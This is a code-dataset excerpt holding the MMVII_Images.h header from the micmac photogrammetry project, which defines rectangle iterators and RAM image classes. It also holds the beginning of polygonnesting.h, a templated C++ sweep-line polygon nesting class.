] | 8 | 2019-05-08T21:43:53.000Z | 2021-07-27T20:01:46.000Z | MMVII/include/MMVII_Images.h | dronemapper-io/micmac | d15d33de48a76575b6555399bc3bf9d89e31baa2 | [
"CECILL-B"
] | 2 | 2019-05-24T17:11:33.000Z | 2019-06-30T17:55:28.000Z | MMVII/include/MMVII_Images.h | dronemapper-io/micmac | d15d33de48a76575b6555399bc3bf9d89e31baa2 | [
"CECILL-B"
] | 2 | 2020-08-01T00:27:16.000Z | 2022-02-04T10:24:54.000Z | #ifndef _MMVII_Images_H_
#define _MMVII_Images_H_
namespace MMVII
{
/** \file MMVII_Images.h
\brief Classes for storing images in RAM, possibly N dimention
*/
/** The purpose of this class is to make some elementary test on image class,
for this it is declared friend of many image class, allowing to test atomic function
who will be private for standard classes/functions .
*/
class cBenchBaseImage;
/// Idem cBenchBaseImage
class cBenchImage;
/** Class allow to iterate the pixel of an image (in fact a rectangular object) using the
same syntax than stl iterator => for (auto aP : anIma) ....
*/
template <const int Dim> class cRectObjIterator
{
public :
friend class cRectObj<Dim>;
bool operator == (const cRectObjIterator<Dim> aIt2) {return mPCur==aIt2.mPCur;} ///< Equal iff current point are =
bool operator != (const cRectObjIterator<Dim> aIt2) {return mPCur!=aIt2.mPCur;} ///< !Equal iif not equal ...
cPtxd<int,Dim> & operator * () {return mPCur;}
const cPtxd<int,Dim> & operator * () const {return mPCur;}
cPtxd<int,Dim> * operator ->() {return &mPCur;}
const cPtxd<int,Dim> * operator ->() const {return &mPCur;}
/// standard prefix incrementation
cRectObjIterator<Dim> & operator ++();
/// Just a "facility" to allow post-fix
cRectObjIterator<Dim> & operator ++(int) {return ++(*this);}
private :
cRectObjIterator(cRectObj<Dim> & aRO,const cPtxd<int,Dim> & aP0) : mRO (&aRO),mPCur (aP0) {}
cRectObj<Dim> * mRO; ///< The rectangular object
cPtxd<int,Dim> mPCur; ///< The current point
};
/** Class representing N-dim rectangle in pixel,
Many basic services to test and visit the rectangle.
Image (RAM), image (file), windows ... will inherit/contain
Basically defined by integer point limits P0 and P1, and contain all the pixel Pix
such that :
P0[aK] <= Pix [aK] < P1[aK] for K in [0,Dim[
*/
template <const int Dim> class cRectObj
{
public :
typedef cRectObjIterator<Dim> iterator; ///< For auto ...
static const cRectObj Empty00;
cRectObj(const cPtxd<int,Dim> & aP0,const cPtxd<int,Dim> & aP1);
const cPtxd<int,Dim> & P0() const {return mP0;} ///< Origin of object
const cPtxd<int,Dim> & P1() const {return mP1;} ///< End of object
const cPtxd<int,Dim> & Sz() const {return mSz;} ///< Size of object
const tINT8 & NbElem() const {return mNbElem;} ///< Number of "pixel"
// Boolean operators
/// Is this point/pixel/voxel inside
bool Inside(const cPtxd<int,Dim> & aP) const {return SupEq(aP,mP0) && InfStr(aP,mP1);}
/// Specialistion 1D
bool Inside(const int & aX) const
{
// static_assert(Dim==1,"Bas dim for integer access");
return (aX>=mP0.x()) && (aX<mP1.x());
}
cPtxd<int,Dim> Proj(const cPtxd<int,Dim> & aP) const {return PtInfStr(PtSupEq(aP,mP0),mP1);}
bool operator == (const cRectObj<Dim> aR2) const ;
bool IncludedIn(const cRectObj<Dim> &)const;
cRectObj<Dim> Translate(const cPtxd<int,Dim> & aPt)const;
/// Assert that it is inside
template <class TypeIndex> void AssertInside(const TypeIndex & aP) const
{
MMVII_INTERNAL_ASSERT_tiny(Inside(aP),"Point out of image");
}
void AssertSameArea(const cRectObj<Dim> & aV) const; ///< Assert object are identic
void AssertSameSz(const cRectObj<Dim> & aV) const; ///< Check only size
// --- Iterator ----------------
iterator & begin() {return mBegin;} ///< For auto
iterator & end() {return mEnd;} ///< For auto
iterator begin() const {return mBegin;} ///< For auto
iterator end() const {return mEnd;} ///< For auto
// --- object generation ----------------
cPtxd<int,Dim> FromNormaliseCoord(const cPtxd<double,Dim> &) const ; ///< [0,1] * => Rect
static cPtxd<double,Dim> RandomNormalised() ; ///< Random point in "hyper cube" [0,1] ^ Dim
cPtxd<int,Dim> GeneratePointInside() const; ///< Random point in integer rect
cRectObj<Dim> GenerateRectInside(double aPowSize=1.0) const; ///< Hig Power generate "small" rect, never empty
protected :
cPtxd<int,Dim> mP0; ///< "smallest"
cPtxd<int,Dim> mP1; ///< "highest"
cPtxd<int,Dim> mSz; ///< Size
cRectObjIterator<Dim> mBegin; ///< Beging iterator
cRectObjIterator<Dim> mEnd; ///< Ending iterator
cPtxd<tINT8,Dim> mSzCum; ///< Cumlated size : Cum[aK] = Cum[aK-1] * Sz[aK]
tINT8 mNbElem; ///< Number of pixel = Cum[Dim-1]
private :
cRectObj(const cPtxd<int,Dim> & aP0,const cPtxd<int,Dim> & aP1,bool AllowEmpty);
};
typedef cRectObj<1> cRect1;
typedef cRectObj<2> cRect2;
typedef cRectObj<3> cRect3;
/* Iterator allowing to visit rectangles */
template <> inline cRectObjIterator<1> & cRectObjIterator<1>::operator ++()
{
mPCur.x()++;
return *this;
}
template <> inline cRectObjIterator<2> & cRectObjIterator<2>::operator ++()
{
mPCur.x()++;
if (mPCur.x() == mRO->P1().x())
{
mPCur.x() = mRO->P0().x();
mPCur.y()++;
}
return *this;
}
template <> inline cRectObjIterator<3> & cRectObjIterator<3>::operator ++()
{
mPCur.x()++;
if (mPCur.x() == mRO->P1().x())
{
mPCur.x() = mRO->P0().x();
mPCur.y()++;
if (mPCur.y() == mRO->P1().y())
{
mPCur.y() = mRO->P0().y();
mPCur.z()++;
}
}
return *this;
}
/** Abstract class allowing to manipulate images independanlty of their type
*/
template <const int Dim> class cDataGenUnTypedIm : public cRectObj<Dim>,
public cMemCheck
{
public :
typedef cRectObj<Dim> tRO;
const cRectObj<Dim> & RO() {return *this;}
cDataGenUnTypedIm(const cPtxd<int,Dim> & aP0,const cPtxd<int,Dim> & aP1);
// Get Value, integer coordinates
/// Pixel -> Integrer Value
virtual int VI_GetV(const cPtxd<int,Dim> & aP) const =0;
/// Pixel -> float Value
virtual double VD_GetV(const cPtxd<int,Dim> & aP) const =0;
// Set Value, integer coordinates
/// Set Pixel Integrer Value
virtual void VI_SetV(const cPtxd<int,Dim> & aP,const int & aV) =0;
/// Set Pixel Float Value
virtual void VD_SetV(const cPtxd<int,Dim> & aP,const double & aV)=0 ;
};
/** Classes for ram-image containg a given type of pixel
*/
template <class Type,const int Dim> class cDataTypedIm : public cDataGenUnTypedIm<Dim>
{
public :
// ======================================
typedef Type tVal;
typedef tNumTrait<Type> tTraits;
typedef typename tTraits::tBase tBase;
typedef cRectObj<Dim> tRO;
const tINT8 & NbElem() const {return tRO::NbElem();} ///< Number total of pixel
const cPtxd<int,Dim> & P0() const {return tRO::P0();} ///< facility
const cPtxd<int,Dim> & P1() const {return tRO::P1();} ///< facility
const cPtxd<int,Dim> & Sz() const {return tRO::Sz();} ///< facility
Type * RawDataLin() {return mRawDataLin;} ///< linear raw data
const Type * RawDataLin() const {return mRawDataLin;} ///< linear raw data
Type & GetRDL(int aK) {return mRawDataLin[aK];} ///< Kth val
const Type & GetRDL(int aK) const {return mRawDataLin[aK];} ///< Kth val
void InitRandom(); ///< uniform, float in [0,1], integer in [Min,Max] of Type
void InitCste(const Type & aV); ///< Constant value
void InitId(); ///< Identity, only avalaible for 2D-squares images
void InitNull(); ///< Null, faster than InitCste(0)
void Init(eModeInitImage); ///< swicth to previous specialized version
//========= Test access ============
inline bool Inside(const cPtxd<int,Dim> & aP) const {return tRO::Inside(aP);} ///< Is Point inside def
inline bool ValueOk(const tBase & aV) const {return tTraits::ValueOk(aV);} ///< Is value Ok (overflow, nan, infty..)
cDataTypedIm (const cPtxd<int,Dim> & aP0,const cPtxd<int,Dim> & aP1,
Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit); ///< Only cstr
virtual ~cDataTypedIm(); ///< Big obj, do it virtual
// All distance-norm are normalized/averaged , so that const image has a norm equal to the constante
double L1Dist(const cDataTypedIm<Type,Dim> & aV) const; ///< Distance som abs
double L2Dist(const cDataTypedIm<Type,Dim> & aV) const; ///< Dist som square
double LInfDist(const cDataTypedIm<Type,Dim> & aV) const; ///< Dist max
double L1Norm() const; ///< Norm som abs
double L2Norm() const; ///< Norm square
double LInfNorm() const; ///< Nomr max
protected :
///< Test 4 writing
void AssertValueOk(const tBase & aV) const
{
MMVII_INTERNAL_ASSERT_tiny(ValueOk(aV),"Invalid Value for image");
}
void DupIn(cDataTypedIm<Type,Dim> &) const; ///< Duplicate raw data
bool mDoAlloc; ///< was data allocated by the image (must know 4 free)
Type * mRawDataLin; ///< raw data containing pixel values
};
/** Class for file image, basic now, will evolve but with (hopefully)
a same/similar interface.
What the user must know if the image exist :
* size, channel, type of value
* read write an area (rectangle at least) from this file, method are
in the template class for specialization to a given type
Create a file with given spec (size ....)
*/
class cDataFileIm2D : public cRect2
{
public :
const cPt2di & Sz() const ; ///< From cRect2
const int & NbChannel () const ; ///< std accessor
const eTyNums & Type () const ; ///< std accessor
const std::string & Name() const; ///< std accessor
/// Create a descriptor on existing file
static cDataFileIm2D Create(const std::string & aName);
/// Create the file before returning the descriptor
static cDataFileIm2D Create(const std::string & aName,eTyNums,const cPt2di & aSz,int aNbChan=1);
virtual ~cDataFileIm2D();
private :
cDataFileIm2D(const std::string &,eTyNums,const cPt2di & aSz,int aNbChannel) ;
std::string mName; ///< Name on the disk
eTyNums mType; ///< Type of value for pixel
int mNbChannel; ///< Number of channels
};
/** Class for 2D image in Ram of a given type :
* there is no copy constructor, and only shared pointer can be allocated
* algorithm will work on these images (pointers, ref)
* all acces are cheked (in non optimized versions)
Class that store an image will store cIm2D
*/
template <class Type> class cDataIm2D : public cDataTypedIm<Type,2>
{
public :
friend class cIm2D<Type>;
typedef Type tVal;
typedef cDataTypedIm<Type,2> tBI;
typedef cRectObj<2> tRO;
typedef typename tBI::tBase tBase;
//========= fundamental access to values ============
/// Get Value, check access in non release mode
const Type & GetV(const cPt2di & aP) const
{
tRO::AssertInside(aP);
return Value(aP);
}
/* No Type & GetV() or Type & operator() ... as it does not allow
to check values
*/
/// Set Value, check point and value in non release mode
void SetV(const cPt2di & aP,const tBase & aV)
{
tRO::AssertInside(aP);
tBI::AssertValueOk(aV);
Value(aP) = aV;
}
/// Trunc then set value, no check on value
void SetVTrunc(const cPt2di & aP,const tBase & aV)
{
tRO::AssertInside(aP);
Value(aP) = tNumTrait<Type>::Trunc(aV);
}
// Interface as generic image
int VI_GetV(const cPt2di& aP) const override; ///< call GetV
double VD_GetV(const cPt2di& aP) const override; ///< call GetV
void VI_SetV(const cPt2di & aP,const int & aV) override ; ///< call SetV
void VD_SetV(const cPt2di & aP,const double & aV) override ; ///< call SetV
//========= Access to sizes, only alias/facilities ============
const cPt2di & Sz() const {return tRO::Sz();} ///< Std Accessor
const int & SzX() const {return Sz().x();} ///< Std Accessor
const int & SzY() const {return Sz().y();} ///< Std Accessor
const cPt2di & P0() const {return tRO::P0();} ///< Std Accessor
const int & X0() const {return P0().x();} ///< Std Accessor
const int & Y0() const {return P0().y();} ///< Std Accessor
const cPt2di & P1() const {return tRO::P1();} ///< Std Accessor
const int & X1() const {return P1().x();} ///< Std Accessor
const int & Y1() const {return P1().y();} ///< Std Accessor
// const cPt2di & Sz() const {return cRectObj<2>::Sz();}
/// Read file image 1 channel to 1 channel
void Read(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00);
/// Write file image 1 channel to 1 channel
void Write(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00); // 1 to 1
virtual ~cDataIm2D(); ///< will delete mRawData2D
protected :
private :
cDataIm2D(const cDataIm2D<Type> &) = delete; ///< No copy constructor for big obj, will add a dup()
cDataIm2D(const cPt2di & aP0,const cPt2di & aP1,
Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit); ///< Called by shared ptr (cIm2D)
Type & Value(const cPt2di & aP) {return mRawData2D[aP.y()][aP.x()];} ///< Data Access
const Type & Value(const cPt2di & aP) const {return mRawData2D[aP.y()][aP.x()];} /// Const Data Access
Type ** mRawData2D; ///< Pointers on DataLin
};
/** Class for allocating and storing 2D images
This is no more than a shared ptr on a cDataIm2D
*/
template <class Type> class cIm2D
{
public :
typedef cDataIm2D<Type> tDIM;
/// Alow to allocate image with origin not in (0,0)
cIm2D(const cPt2di & aP0,const cPt2di & aP1, Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit);
/// Image with origin on (0,0)
cIm2D(const cPt2di & aSz,Type * DataLin=0,eModeInitImage=eModeInitImage::eMIA_NoInit);
tDIM & DIm() {return *(mPIm);} ///< return raw pointer
const tDIM & DIm() const {return *(mPIm);} ///< const version 4 raw pointer
void Read(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00); ///< 1 to 1
void Write(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00); // 1 to 1
static cIm2D<Type> FromFile(const std::string& aName); ///< Allocate and init from file
// void Read(const cDataFileIm2D &,cPt2di & aP0,cPt3dr Dyn /* RGB*/); // 3 to 1
// void Read(const cDataFileIm2D &,cPt2di & aP0,cIm2D<Type> aI2,cIm2D<Type> aI3); // 3 to 3
cIm2D<Type> Dup() const; ///< create a duplicata
private :
std::shared_ptr<tDIM> mSPtr; ///< shared pointer to real image , allow automatic deallocation
tDIM * mPIm; ///< raw pointer on mSPtr, a bit faster to store it ?
};
// template <class Type> cIm2D<Type> operator + (const cIm2D<Type>,const cIm2D<Type>);
/** Class for 1D image in Ram of a given type :
*/
template <class Type> class cDataIm1D : public cDataTypedIm<Type,1>
{
public :
friend class cIm1D<Type>;
friend class cDenseVect<Type>;
typedef Type tVal;
typedef cDataTypedIm<Type,1> tBI;
typedef cRectObj<1> tRO;
typedef typename tBI::tBase tBase;
//========= fundamental access to values ============
/// Get Value
const Type & GetV(const int & aP) const
{
tRO::AssertInside(aP);
return Value(aP);
}
const Type & GetV(const cPt1di & aP) const {return GetV(aP.x());}
/// Used by matrix/vector interface
Type & GetV(const int & aP) { tRO::AssertInside(aP); return Value(aP); }
/// Set Value
void SetV(const int & aP,const tBase & aV)
{
tRO::AssertInside(aP);
tBI::AssertValueOk(aV);
Value(aP) = aV;
}
void SetV(const cPt1di & aP,const tBase & aV) {SetV(aP.x(),aV);}
/// Trunc then set value
void SetVTrunc(const int & aP,const tBase & aV)
{
tRO::AssertInside(aP);
Value(aP) = tNumTrait<Type>::Trunc(aV);
}
void SetVTrunc(const cPt1di & aP,const tBase & aV) {SetVTrunc(aP.x(),aV);}
const int & Sz() const {return tRO::Sz().x();}
const int & X0() const {return tRO::P0().x();}
const int & X1() const {return tRO::P1().x();}
// Interface as generic image
int VI_GetV(const cPt1di& aP) const override;
double VD_GetV(const cPt1di& aP) const override;
void VI_SetV(const cPt1di & aP,const int & aV) override ;
void VD_SetV(const cPt1di & aP,const double & aV) override ;
//========= Access to sizes, only alias/facilities ============
virtual ~cDataIm1D();
protected :
private :
Type * RawData1D() {return mRawData1D;} ///< Used by matrix/vector interface
cDataIm1D(const cDataIm1D<Type> &) = delete; ///< No copy constructor for big obj, will add a dup()
cDataIm1D(const cPt1di & aP0,const cPt1di & aP1,
Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit); ///< Called by shared ptr (cIm2D)
Type & Value(const int & aX) {return mRawData1D[aX];} ///< Data Access
const Type & Value(const int & aX) const {return mRawData1D[aX];} /// Cont Data Access
Type * mRawData1D; ///< Offset vs DataLin
};
/** Class for allocating and storing 1D images
*/
template <class Type> class cIm1D
{
public :
friend class cDenseVect<Type>;
typedef cDataIm1D<Type> tDIM;
cIm1D(const int & aP0,const int & aP1,Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit);
cIm1D(const int & aSz, Type * DataLin=nullptr,eModeInitImage=eModeInitImage::eMIA_NoInit);
// tDIM & Im() {return *(mSPtr.get());}
tDIM & DIm() {return *(mPIm);}
const tDIM & DIm() const {return *(mPIm);}
cIm1D<Type> Dup() const;
// void Read(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00); // 1 to 1
// void Write(const cDataFileIm2D &,const cPt2di & aP0,double aDyn=1,const cRect2& =cRect2::Empty00); // 1 to 1
// static cIm2D<Type> FromFile(const std::string& aName);
// void Read(const cDataFileIm2D &,cPt2di & aP0,cPt3dr Dyn /* RGB*/); // 3 to 1
// void Read(const cDataFileIm2D &,cPt2di & aP0,cIm2D<Type> aI2,cIm2D<Type> aI3); // 3 to 3
private :
std::shared_ptr<tDIM> mSPtr; ///< shared pointer to real image
tDIM * mPIm;
};
};
#endif // _MMVII_Images_H_
| 39.084646 | 125 | 0.583228 |
bd12a59bb8e30879fb6125ba7af3dfd8a6675042 | 35,467 | h | C | polygonnesting.h | aaronscherzinger/polygonnesting | 85181a69531fee96e0fba1dc5945f895e192bca8 | [
"MIT"
] | 6 | 2020-03-17T09:19:08.000Z | 2021-11-20T14:40:30.000Z | polygonnesting.h | aaronscherzinger/polygonnesting | 85181a69531fee96e0fba1dc5945f895e192bca8 | [
"MIT"
] | 1 | 2020-01-07T21:39:32.000Z | 2020-03-19T07:37:56.000Z | polygonnesting.h | aaronscherzinger/polygonnesting | 85181a69531fee96e0fba1dc5945f895e192bca8 | [
"MIT"
] | null | null | null | #include <vector>
#include <algorithm>
#include <assert.h>
#include <functional>
#include <type_traits>
#include <unordered_map>
#ifdef POLYGONNESTING_PRINT_DEBUG
#include <iostream>
#endif
/**
* Class for computing the nesting structure of multiple polygons.
*
* In order to use this class, you must provide several functors to process the template types.
* Note that VALUE_TYPE must be a floating point type.
*
* The functors are:
* PolygonNesting::VertexOrder GetVertexOrderFunctor(const POLYGON_TYPE*) - used once initially to get the vertex order of a polygon
* size_t GetNumVerticesFunctor(const POLYGON_TYPE*) - used to retrieve the number of vertices in a polygon
* const VERTEX_TYPE& GetVertexFunctor(const POLYGON_TYPE*,size_t) - used to get a const reference to the vertex with a specific index in the polygon
* VALUE_TYPE GetXFunctor(const VERTEX_TYPE&) - used to get the x-coordinate of a vertex
* VALUE_TYPE GetYFunctor(const VERTEX_TYPE&) - used to get the y-coordinate of a vertex
*
* Note that the GetVertexFunctor, GetXFunctor, and GetYFunctor may be called many times (so they should be implemented efficiently).
*
* In order to use the class, add polygons with the AddPolygon() method and then compute the nesting structure with ComputePolygonNesting().
* Use GetParent() to retrieve the parent of a specific polygon after computing the nesting structure.
* In order to clear the data (e.g., to process a different set of polygons), call the Clear()-method.
*/
template<typename POLYGON_TYPE, typename VERTEX_TYPE, typename VALUE_TYPE = float>
class PolygonNesting
{
static_assert(std::is_floating_point<VALUE_TYPE>::value, "VALUE_TYPE must be floating point type");
public:
// enum class for vertex order of polygons
enum class VertexOrder
{
CCW, // counter-clockwise orientation
CW // clock-wise orientation
};
// alias names for functors that need to be provided for the template types
using GetVertexOrderFunctor = std::function<VertexOrder(const POLYGON_TYPE*)>;
using GetNumVerticesFunctor = std::function<size_t(const POLYGON_TYPE*)>;
using GetVertexFunctor = std::function<const VERTEX_TYPE&(const POLYGON_TYPE*,size_t)>;
using GetXFunctor = std::function<VALUE_TYPE(const VERTEX_TYPE&)>;
using GetYFunctor = std::function<VALUE_TYPE(const VERTEX_TYPE&)>;
PolygonNesting(GetVertexOrderFunctor getVertexOrder, GetNumVerticesFunctor getNumVertices, GetVertexFunctor getVertex, GetXFunctor getX, GetYFunctor getY)
: mf_GetVertexOrder(getVertexOrder)
, mf_GetNumVertices(getNumVertices)
, mf_GetVertex(getVertex)
, mf_GetX(getX)
, mf_GetY(getY)
{
}
PolygonNesting() = delete;
/// Adds a polygon to the polygon set
void AddPolygon(const POLYGON_TYPE* polygon)
{
m_polygonSet.push_back(polygon);
}
/// Computes the polygon nesting of the added polygons
void ComputePolygonNesting();
/// returns the parent polygon of a polygon if any, else nullptr
const POLYGON_TYPE* GetParent(const POLYGON_TYPE* polygon) const
{
auto it = m_parents.find(polygon);
if (it != m_parents.end())
{
return it->second;
}
return nullptr;
}
/// Clears the added polygon list and the polygon nesting results
void Clear()
{
m_polygonSet.clear();
m_parents.clear();
}
private:
// ************************
// internal data structures
// ************************
constexpr static size_t INVALID_INDEX = static_cast<size_t>(-1);
// struct for the list of subchains
struct Subchain
{
size_t polygon; ///< index into the polygon set for the polygon containing this subchain
std::vector<size_t> vertices; ///< indices into the polygon's vertex list
size_t currentEdge; ///< index into the polygon's vertex list for the left vertex of the edge in the subchain currently intersected by the vertical sweep line
bool degenerate; ///< is set to true if the subchain contains only vertical edges
};
// endpoint struct for the ordered list of endpoints
// an endpoint corresponds to the vertex of a specific polygon and connects two of it's subchains
struct Endpoint
{
// indices of the subchains in the global list of subchains
size_t subchains[2];
// indices into the subchains' vertex lists
size_t subchainVertexIndices[2];
// index of the polygon
size_t polygon;
// index into the polygon's vertex list for the corresponding vertex
size_t polygonVertexIndex;
};
// ****************
// helper functions
// ****************
/// returns the cyclic successor index for a vertex index
size_t succ(size_t vertexIndex, const POLYGON_TYPE* polygon)
{
return (vertexIndex + 1) % mf_GetNumVertices(polygon);
}
/// returns the cyclic predecessor index for a vertex index
size_t pred(size_t vertexIndex, const POLYGON_TYPE* polygon)
{
assert(mf_GetNumVertices(polygon) > 2);
return (vertexIndex == 0) ? mf_GetNumVertices(polygon) - 1 : vertexIndex - 1;
}
/// Computes the orientation of three consecutive vertices
VALUE_TYPE OrientationTest(const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc) {
VALUE_TYPE acx = mf_GetX(pa) - mf_GetX(pc);
VALUE_TYPE bcx = mf_GetX(pb) - mf_GetX(pc);
VALUE_TYPE acy = mf_GetY(pa) - mf_GetY(pc);
VALUE_TYPE bcy = mf_GetY(pb) - mf_GetY(pc);
return acx * bcy - acy * bcx;
}
/// Checks if vertex pc lies to the left of the directed line through vertices pa and pb or on the line
bool LeftTurnCollinear(const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc) {
return (OrientationTest(pa, pb, pc) >= 0);
}
/// Checks if vertex pc lies to the right of the directed line through vertices pa and pb or on the line
bool RightTurnCollinear(const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc) {
return (OrientationTest(pa, pb, pc) <= 0);
}
// ************
// data members
// ************
// set of polygons that have been added
std::vector<const POLYGON_TYPE*> m_polygonSet;
// map containing the parent of each polygon (if it has one)
std::unordered_map<const POLYGON_TYPE*, const POLYGON_TYPE*> m_parents;
// ***************
// functor members
// ***************
GetVertexOrderFunctor mf_GetVertexOrder;
GetNumVerticesFunctor mf_GetNumVertices;
GetVertexFunctor mf_GetVertex;
GetXFunctor mf_GetX;
GetYFunctor mf_GetY;
// nested class that is used as a comparator
class SubchainCompareFunctor
{
public:
SubchainCompareFunctor(const std::vector<const POLYGON_TYPE*>& polygonSet, std::vector<Subchain>& subchains, VALUE_TYPE sweepLineCoord,
GetVertexFunctor getVertex, GetXFunctor getX, GetYFunctor getY)
: m_polygonSet(polygonSet)
, m_subchains(subchains)
, m_sweepLineCoord(sweepLineCoord)
, mf_GetVertex(getVertex)
, mf_GetX(getX)
, mf_GetY(getY)
{
}
SubchainCompareFunctor() = delete;
void SetSweepLineCoord(VALUE_TYPE s) { m_sweepLineCoord = s; }
/// compares two subchains given by their index in the set of subchains with respect to an x-coordinate of the sweep line
/// NOTE: this will increment the current edge of the subchains in order to progress along the subchain according to the sweep line x-coordinate
/// Make sure that consecutive calls to this function with the same set of subchains have monotonously increasing values of sweepLineCoord
bool operator() (const size_t& a, const size_t& b) const
{
if (a == b)
{
return false;
}
auto& GetVertex = mf_GetVertex;
auto& GetX = mf_GetX;
auto& GetY = mf_GetY;
const POLYGON_TYPE* polygonA = m_polygonSet[m_subchains[a].polygon];
const POLYGON_TYPE* polygonB = m_polygonSet[m_subchains[b].polygon];
// we need to compare the subchains regarding their y-coordinate of the intersection with the sweep line
VALUE_TYPE yCoordA = GetSweepLineIntersection(polygonA, const_cast<Subchain&>(m_subchains[a]), m_sweepLineCoord);
VALUE_TYPE yCoordB = GetSweepLineIntersection(polygonB, const_cast<Subchain&>(m_subchains[b]), m_sweepLineCoord);
if (yCoordA == yCoordB)
{
// if this happens, a shared endpoint of two subchains has been met
assert(GetX(GetVertex(polygonA, m_subchains[a].vertices[m_subchains[a].currentEdge])) == m_sweepLineCoord);
assert(GetX(GetVertex(polygonB, m_subchains[b].vertices[m_subchains[b].currentEdge])) == m_sweepLineCoord);
assert(m_subchains[a].polygon == m_subchains[b].polygon);
// this means that one of the following cases has happened:
// 1. we encounter the endpoint of one subchain that is the starting point of another one
// 2. we encounter the startpoint of two subchains
// 3. we encounter the endpoint of two subchains
// case 1: we always put the endpoint of one chain before the starting point of the next as this does not affect the y-order
if (m_subchains[a].currentEdge == 0 && m_subchains[b].currentEdge > 0)
{
return true;
}
else if (m_subchains[b].currentEdge == 0 && m_subchains[a].currentEdge > 0)
{
return false;
}
else if (m_subchains[a].currentEdge == 0 && m_subchains[b].currentEdge == 0)
{
// case 2: we put the subchain with the higher y-coordinate in the next vertex first
assert(m_subchains[a].vertices.size() > 1);
assert(m_subchains[b].vertices.size() > 1);
return (GetY(GetVertex(polygonA, m_subchains[a].vertices[1])) > GetY(GetVertex(polygonB, m_subchains[b].vertices[1])));
}
else
{
// case 3: we put the subchains with the higher y-coordinate in the preceding vertex first
return (GetY(GetVertex(polygonA, m_subchains[a].vertices[m_subchains[a].currentEdge - 1])) > GetY(GetVertex(polygonB, m_subchains[b].vertices[m_subchains[b].currentEdge - 1])));
}
}
else
{
return (yCoordA > yCoordB);
}
}
private:
// helper function to get the intersection between the subchain and the sweepline
VALUE_TYPE GetSweepLineIntersection(const POLYGON_TYPE* polygon, Subchain& subchain, VALUE_TYPE sweepLineCoord) const
{
auto& GetVertex = mf_GetVertex;
auto& GetX = mf_GetX;
auto& GetY = mf_GetY;
assert(GetX(GetVertex(polygon, subchain.vertices.front())) <= sweepLineCoord);
assert(GetX(GetVertex(polygon, subchain.vertices.back())) >= sweepLineCoord);
// advance current edge until it intersects the sweep line
while(GetX(GetVertex(polygon, subchain.vertices[subchain.currentEdge])) < sweepLineCoord)
{
subchain.currentEdge++;
}
// note: vertices [currentEdge - 1] and [currentEdge] correspond to the edge intersecting the sweep line
size_t edge = subchain.currentEdge;
assert(edge < subchain.vertices.size());
VALUE_TYPE yCoordA = GetY(GetVertex(polygon, subchain.vertices[edge]));
if (GetX(GetVertex(polygon, subchain.vertices[edge])) > sweepLineCoord)
{
assert(edge > 0);
// sweep line intersects the edge and not the vertex
// we can compute the intersection by linear interpolation
VALUE_TYPE x1 = GetX(GetVertex(polygon, subchain.vertices[edge - 1]));
VALUE_TYPE y1 = GetY(GetVertex(polygon, subchain.vertices[edge - 1]));
VALUE_TYPE x2 = GetX(GetVertex(polygon, subchain.vertices[edge]));
VALUE_TYPE y2 = GetY(GetVertex(polygon, subchain.vertices[edge]));
assert(x1 != x2);
assert(sweepLineCoord >= x1);
assert(sweepLineCoord <= x2);
VALUE_TYPE ratio = (sweepLineCoord - x1) / (x2 - x1);
yCoordA = (static_cast<VALUE_TYPE>(1) - ratio) * y1 + ratio * y2;
}
return yCoordA;
}
const std::vector<const POLYGON_TYPE*>& m_polygonSet;
std::vector<Subchain>& m_subchains;
VALUE_TYPE m_sweepLineCoord;
// functors
PolygonNesting::GetVertexFunctor mf_GetVertex;
PolygonNesting::GetXFunctor mf_GetX;
PolygonNesting::GetYFunctor mf_GetY;
};
};
// polygon nesting algorithm implementation
template<typename POLYGON_TYPE, typename VERTEX_TYPE, typename VALUE_TYPE>
void PolygonNesting<POLYGON_TYPE, VERTEX_TYPE, VALUE_TYPE>::ComputePolygonNesting()
{
// some alias names to make the code more readable
auto& GetVertexOrder = mf_GetVertexOrder;
auto& GetNumVertices = mf_GetNumVertices;
auto& GetVertex = mf_GetVertex;
auto& GetX = mf_GetX;
auto& GetY = mf_GetY;
// all parents are initialized as nullptr
m_parents.clear();
m_parents.reserve(m_polygonSet.size());
for (auto p : m_polygonSet)
{
m_parents[p] = nullptr;
}
if (m_polygonSet.empty())
{
return;
}
// find subchains for all polygons and also construct the list of endpoints
std::vector<Subchain> subchains;
std::vector<Endpoint> endpoints;
// this will be set depending on the vertex order of a polygon
std::function<bool(const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc)> convexityTest;
for (size_t i = 0; i < m_polygonSet.size(); ++i)
{
const POLYGON_TYPE* currentPolygon = m_polygonSet[i];
size_t numVertices = GetNumVertices(currentPolygon);
assert(GetNumVertices(currentPolygon) > 2);
// depending on the winding order, we need the left turn or right turn test to check for reflex vertices
if (GetVertexOrder(currentPolygon) == VertexOrder::CCW)
{
convexityTest = [this](const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc) -> bool { return LeftTurnCollinear(pa, pb, pc); };
}
else
{
convexityTest = [this](const VERTEX_TYPE& pa, const VERTEX_TYPE& pb, const VERTEX_TYPE& pc) -> bool { return RightTurnCollinear(pa, pb, pc); };
}
// we look for the leftmost vertex as it is a guaranteed starting point of a subchain
// if two vertices have the same x-coordinate, we choose the one with the higher y-coordinate
size_t leftMostVertex = 0;
for (size_t currentVertex = 1; currentVertex < numVertices; ++currentVertex)
{
if ( (GetX(GetVertex(currentPolygon, currentVertex)) < GetX(GetVertex(currentPolygon, leftMostVertex)))
|| ( (GetX(GetVertex(currentPolygon, currentVertex)) == GetX(GetVertex(currentPolygon, leftMostVertex)))
&& (GetY(GetVertex(currentPolygon, currentVertex)) > GetY(GetVertex(currentPolygon, leftMostVertex)))))
{
